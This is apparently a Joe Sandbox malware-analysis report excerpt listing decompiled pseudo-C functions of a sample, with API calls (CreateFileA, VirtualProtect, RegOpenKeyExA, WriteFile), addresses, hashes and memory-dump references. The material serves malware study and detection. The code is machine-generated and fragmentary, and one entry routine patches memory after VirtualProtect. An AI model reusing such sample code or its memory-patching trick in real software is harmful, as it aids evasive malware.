					_t33 = CreateFileA(??, ??, ??, ??, ??, ??, ??); // executed
					 *0x6f62401c = _t33;
					 *0x6f624020 = _t79;
					if( *0x6f624040 != 0 && E6F62297D( *0x6f624048) == 0) {
						 *0x6f62403c = _t94;
						_t94 =  *0x6f624044;
					}
					_t80 =  *0x6f624048;
					_a4 = _t80;
					 *0x6f624048 =  *((intOrPtr*)(E6F62299F() + _t80));
					_t37 = E6F62298B(_t80);
					_pop(_t81);
					if(_t37 != 0) {
						_t40 = E6F6229AB(_t81);
						if(_t40 > 0) {
							_push(_t40);
							_push(E6F6229B6() + _a4 + _v8);
							_push(E6F6229C0());
							if( *0x6f624040 <= 0 || E6F62297D(_a4) != 0) {
								_pop(_t88);
								_pop(_t45);
								__eflags =  *((intOrPtr*)(_t88 + _t45)) - 2;
								if(__eflags == 0) {
								}
								asm("loop 0xfffffff5");
							} else {
								_pop(_t89);
								_pop(_t49);
								 *0x6f62403c =  *0x6f62403c +  *(_t89 + _t49) * 4;
								asm("loop 0xffffffeb");
							}
						}
					}
					_t107 =  *0x6f624048;
					if( *0x6f624048 == 0) {
						 *0x6f62403c = 0;
					}
					E6F6229E4(_t107, _a4,  *0x6f62401c,  *0x6f624020);
					return _a4;
				}
				_push(E6F6229B6() + _a4);
				_t56 = E6F6229BC();
				_v8 = _t56;
				_t77 = _t28;
				_push(_t68 + _t56 * _t77);
				_t70 = E6F6229C8();
				_t87 = E6F6229C4();
				_t90 = E6F6229C0();
				_t61 = _t77;
				if( *((intOrPtr*)(_t90 + _t61)) == 2) {
					_push( *((intOrPtr*)(_t70 + _t61)));
				}
				_push( *((intOrPtr*)(_t87 + _t61)));
				asm("loop 0xfffffff1");
				goto L9;
			}

0x6f622a48
0x6f622a59
0x6f622a66
0x6f622a7a
0x6f622a68
0x6f622a6d
0x6f622a72
0x6f622a72
0x6f622a66
0x6f622a83
0x6f622a88
0x6f622a8e
0x6f622ad2
0x6f622ad2
0x6f622ad7
0x6f622adc
0x6f622ae2
0x6f622ae4
0x6f622aea
0x6f622af7
0x6f622af9
0x6f622afe
0x6f622b0b
0x6f622b1e
0x6f622b24
0x6f622b2a
0x6f622b2b
0x6f622b31
0x6f622b3d
0x6f622b43
0x6f622b4b
0x6f622b4c
0x6f622b4f
0x6f622b5a
0x6f622b5c
0x6f622b68
0x6f622b6e
0x6f622b76
0x6f622ba2
0x6f622ba3
0x6f622ba5
0x6f622ba9
0x6f622ba9
0x6f622bb0
0x6f622b86
0x6f622b86
0x6f622b87
0x6f622b95
0x6f622b9e
0x6f622b9e
0x6f622b76
0x6f622b5a
0x6f622bb2
0x6f622bb9
0x6f622bbb
0x6f622bbb
0x6f622bd4
0x6f622be2
0x6f622be2
0x6f622a99
0x6f622a9a
0x6f622a9f
0x6f622aa3
0x6f622aa8
0x6f622abc
0x6f622abd
0x6f622abe
0x6f622ac0
0x6f622ac5
0x6f622ac7
0x6f622ac7
0x6f622aca
0x6f622ad0
0x00000000

APIs

CreateFileA.KERNELBASE(00000000), ref: 6F622AF7

Memory Dump Source

Source File: 00000000.00000002.3354383937.000000006F621000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F620000, based on PE: true

Associated: 00000000.00000002.3354349276.000000006F620000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354423937.000000006F623000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354452930.000000006F625000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f620000_sOjxIU25DP.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4b43a12f673b286c227a6026f1d75e984b36a1a3f073f430c4ed32fd5328545e
Instruction ID: f7e2ffc4b4f1ec3988d3594812a8146f98f85f2f9c456e56df4ade4b3eb8bd55
Opcode Fuzzy Hash: 4b43a12f673b286c227a6026f1d75e984b36a1a3f073f430c4ed32fd5328545e
Instruction Fuzzy Hash: 22416272914704DFEF20DFA6D881B993BF4FB56369F104526E404CB182DB74A4E18F69

Uniqueness

Uniqueness Score: -1.00%

Function 0040171F Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040171F() {
				long _t5;
				CHAR* _t8;
				CHAR* _t12;
				void* _t14;
				long _t17;

				_t5 = SearchPathA(_t8, E00402BCE(0xffffffff), _t8, 0x400, _t12, _t14 + 8); // executed
				_t17 = _t5;
				if(_t17 == 0) {
					 *((intOrPtr*)(_t14 - 4)) = 1;
					 *_t12 = _t8;
				}
				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t14 - 4));
				return 0;
			}

0x00401733
0x00401739
0x0040173b
0x00402793
0x0040279a
0x0040279a
0x00402a5d
0x00402a69

APIs

SearchPathA.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401733

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 35252acc85584bcd3cb19a2a0348b87126b33f041b5cd62e511d926938fb94e0
Instruction ID: 50f9202b0ad12115515bdedeb99c51c1751b2a71734dfb59e1d30c0826367fe5
Opcode Fuzzy Hash: 35252acc85584bcd3cb19a2a0348b87126b33f041b5cd62e511d926938fb94e0
Instruction Fuzzy Hash: 34E0DF72304210EFD710DF649E49BAB77A8CB40368B20427AE121A60C2E6B89A02872D

Uniqueness

Uniqueness Score: -1.00%

Function 00405E68 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405E68(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405e6c
0x00405e7c
0x00405e84
0x00000000
0x00405e8b
0x00000000
0x00405e8d

APIs

WriteFile.KERNELBASE(0040A130,00000000,00000000,00000000,00000000,0040C4C8,0040B8F8,0040339A,0040B8F8,0040C4C8,004138F8,00004000,?,00000000,004031C4,00000004), ref: 00405E7C

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: 83138c6b6f61fe56512c00d99342466dd547819508ce818909ec7b1084a3bb5f
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: 48E0463221021AABDF109F60CC04AAB3B6CEB00260F404432FAA4E2140E234E9208AE4

Uniqueness

Uniqueness Score: -1.00%

Function 00405E39 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405E39(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405e3d
0x00405e4d
0x00405e55
0x00000000
0x00405e5c
0x00000000
0x00405e5e

APIs

ReadFile.KERNELBASE(0040A130,00000000,00000000,00000000,00000000,004138F8,0040B8F8,00403416,0040A130,0040A130,0040331A,004138F8,00004000,?,00000000,004031C4), ref: 00405E4D

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 416aeb435aa013431afb1a9c1c8b913c8d53da26c76a00aa22b400e2b7bce1d1
Instruction ID: cce2834e44819e2e6951819013f8ba23c93adc22c6858a83ce884f24d90f4801
Opcode Fuzzy Hash: 416aeb435aa013431afb1a9c1c8b913c8d53da26c76a00aa22b400e2b7bce1d1
Instruction Fuzzy Hash: BFE0463220061AABCF119F60CC00AEB3B6CEB046E0F044832B955E2040D230EA209BE8

Uniqueness

Uniqueness Score: -1.00%

Function 6F622921 Relevance: 1.5, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x6f624038 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x6f62404c, "true", "true", 0x6f62403c); // executed
					 *0x6f62404c = 0xc2;
					 *0x6f62403c = 0;
					 *0x6f624044 = 0;
					 *0x6f624058 = 0;
					 *0x6f624048 = 0;
					 *0x6f624040 = 0;
					 *0x6f624050 = 0;
					 *0x6f62404e = 0;
				}
				return 1;
			}

0x6f62292a
0x6f62292f
0x6f62293f
0x6f622947
0x6f62294e
0x6f622953
0x6f622958
0x6f62295d
0x6f622962
0x6f622967
0x6f62296c
0x6f62296c
0x6f622974

APIs

VirtualProtect.KERNELBASE(6F62404C,?,?,6F62403C), ref: 6F62293F

Memory Dump Source

Source File: 00000000.00000002.3354383937.000000006F621000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F620000, based on PE: true

Associated: 00000000.00000002.3354349276.000000006F620000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354423937.000000006F623000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354452930.000000006F625000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f620000_sOjxIU25DP.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8b5ad4cd2f2605c9b1f8efe18b9a1e61a0001c891a51ed4b7a6da85a319eb1d5
Instruction ID: 78158bd66eaf413536678618f64d9a9fd3541ecc09fd1042a176f28d696c1f8e
Opcode Fuzzy Hash: 8b5ad4cd2f2605c9b1f8efe18b9a1e61a0001c891a51ed4b7a6da85a319eb1d5
Instruction Fuzzy Hash: 38F045B1918A80DECB60CF7A8445B453FE0B72A3A5B11456AE158D7243EBB450E4CF25

Uniqueness

Uniqueness Score: -1.00%

Function 004060AE Relevance: 1.5, APIs: 1, Instructions: 19
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060AE(void* __eflags, intOrPtr _a4, char* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00406033(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegOpenKeyExA(_t7, _a8, 0, _a12, _a16); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x004060b8
0x004060bf
0x004060d2
0x00000000
0x004060d2
0x004060c3
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(00000000,?,00000000,?,?,?,?,?,0040613C,?,?,?,?,00000002,Call), ref: 004060D2

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction ID: 51401300cd7625eff2bf964f9978024ad574dc025e36917ee72680513aa66117
Opcode Fuzzy Hash: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction Fuzzy Hash: CBD0123248024DBBDF219F91DD01FAB371DAB08350F014426FE06A5091D776D534A724

Uniqueness

Uniqueness Score: -1.00%

Function 0040159D Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040159D() {
				int _t5;
				void* _t11;
				int _t14;

				_t5 = SetFileAttributesA(E00402BCE(0xfffffff0),  *(_t11 - 0x24)); // executed
				_t14 = _t5;
				if(_t14 == 0) {
					 *((intOrPtr*)(_t11 - 4)) = 1;
				}
				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t11 - 4));
				return 0;
			}

0x004015a8
0x004015ae
0x004015b0
0x004027bf
0x004027bf
0x00402a5d
0x00402a69

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A8

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2418139bf62747705f6b36ca85bba3ef5c9b6cc482feef17864bd8331c6e6030
Instruction ID: d63a85802d94bff68a4992e0fa2b065631c328a576c24d4da201550cd17194ef
Opcode Fuzzy Hash: 2418139bf62747705f6b36ca85bba3ef5c9b6cc482feef17864bd8331c6e6030
Instruction Fuzzy Hash: 8DD01232704115DBDB10EFA59B0869E73A5DB40325B318277E111F21D1D6B9CA469A2D

Uniqueness

Uniqueness Score: -1.00%

Function 004042F8 Relevance: 1.5, APIs: 1, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042F8(int _a4) {
				struct HWND__* _t2;
				long _t3;

				_t2 =  *0x423f18; // 0x1043a
				if(_t2 != 0) {
					_t3 = SendMessageA(_t2, _a4, 0, 0); // executed
					return _t3;
				}
				return _t2;
			}

0x004042f8
0x004042ff
0x0040430a
0x00000000
0x0040430a
0x00404310

APIs

SendMessageA.USER32(0001043A,00000000,00000000,00000000), ref: 0040430A

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: fa499c047cbef313b38f010638280ca9d9441b9d3f1738ab12f17293ceb3b0ce
Instruction ID: 4f57bb85f26d5d5d41a3cfbb3b77bcfe32c0ee782242bb140131545c3466bbff
Opcode Fuzzy Hash: fa499c047cbef313b38f010638280ca9d9441b9d3f1738ab12f17293ceb3b0ce
Instruction Fuzzy Hash: CFC04C717446007BDA208B64AE45F0677746790701F154429B640B60E0C675E460D61C

Uniqueness

Uniqueness Score: -1.00%

Function 00403419 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403419(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x00403427
0x0040342d

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403117,?), ref: 00403427

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3686d685932152b10745f2b752acc0f7a7db7aadca6958b8d51083a7e9476777
Instruction ID: eadcf480fe67690f272c505b4903882a1233053cb438a9b9796e5ea94341b5dd
Opcode Fuzzy Hash: 3686d685932152b10745f2b752acc0f7a7db7aadca6958b8d51083a7e9476777
Instruction Fuzzy Hash: 25B09231140200AADA215F409E09F057B21AB94700F208424B244280F086712025EA0D

Uniqueness

Uniqueness Score: -1.00%

Function 004042E1 Relevance: 1.5, APIs: 1, Instructions: 6
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042E1(int _a4) {
				long _t2;

				_t2 = SendMessageA( *0x424748, "true", _a4, 1); // executed
				return _t2;
			}

0x004042ef
0x004042f5

APIs

SendMessageA.USER32(?,?,00000001,00404111), ref: 004042EF

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: e9b20bc3685cbd29388e36408cdeae414d9ff2d24b6bd07d1e643bf46fd45760
Instruction ID: 395ac3a5d31a9674e4ea06484c309ebc66accb233b8c46c1fee3fc6223aafce7
Opcode Fuzzy Hash: e9b20bc3685cbd29388e36408cdeae414d9ff2d24b6bd07d1e643bf46fd45760
Instruction Fuzzy Hash: FFB09239284A04ABDA214B10DE09F457AA2E7A4701F028028B240250B0CAB200A1EB08

Uniqueness

Uniqueness Score: -1.00%

Function 004042CE Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042CE(int _a4) {
				int _t2;

				_t2 = EnableWindow( *0x420d4c, _a4); // executed
				return _t2;
			}

0x004042d8
0x004042de

APIs

KiUserCallbackDispatcher.NTDLL(?,004040AA), ref: 004042D8

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: de199fea3efec595b4cbfbcdd864e009a6c4e0a446755c8570d96a6c1bec93c1
Instruction ID: 05f0c06969bd7f90ab95e4cb7dbfd4e553528e8ccd507e3c9ab1b048ac394978
Opcode Fuzzy Hash: de199fea3efec595b4cbfbcdd864e009a6c4e0a446755c8570d96a6c1bec93c1
Instruction Fuzzy Hash: 42A012310010009BCB015B40EF04C067B71A7903007008839A1444003087311420EB18

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040473E Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 274
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040473E(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				CHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				CHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				signed char* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed char _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				CHAR* _t146;
				intOrPtr _t147;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed char* _t160;
				struct HWND__* _t165;
				struct HWND__* _t166;
				int _t168;
				unsigned int _t197;
				void* _t205;

				_t156 = __edx;
				_t82 =  *0x420528; // 0x55bd6c
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xa) + 0x425000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E00405928(0x3fb, _t146);
					E00406503(_t146);
				}
				_t166 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405928(0x3fb, _t146);
							if(E00405CAE(_t185, _t146) == 0) {
								_v8 = 1;
							}
							E00406228(0x41fd20, _t146);
							_t87 = E00406631(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E00406228(0x41fd20, _t146);
								_t89 = E00405C59(0x41fd20);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 =  *_t89 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x41fd20,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t168 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x41fd20) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x41fd20,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405C07(0x41fd20);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160 - 1;
									 *_t159 = 0x5c;
									if(_t159 != 0x41fd20) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t168 = 0x400;
								L36:
								_t95 = E00404BD2(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								_t147 =  *0x423f1c; // 0x55dd3b
								if( *((intOrPtr*)(_t147 + 0x10)) != _t158) {
									E00404BBA(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextA(_a4, _t168, 0x41fd10);
									} else {
										E00404AF5(_t168, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x424804 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t168) != 0) {
									_v8 = _t158;
								}
								E004042CE(0 | _v8 == _t158);
								if(_v8 == _t158) {
									_t205 =  *0x420d40 - _t158; // 0x0
									if(_t205 == 0) {
										E00404697();
									}
								}
								 *0x420d40 = _t158;
								goto L53;
							}
						}
						_t185 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t166;
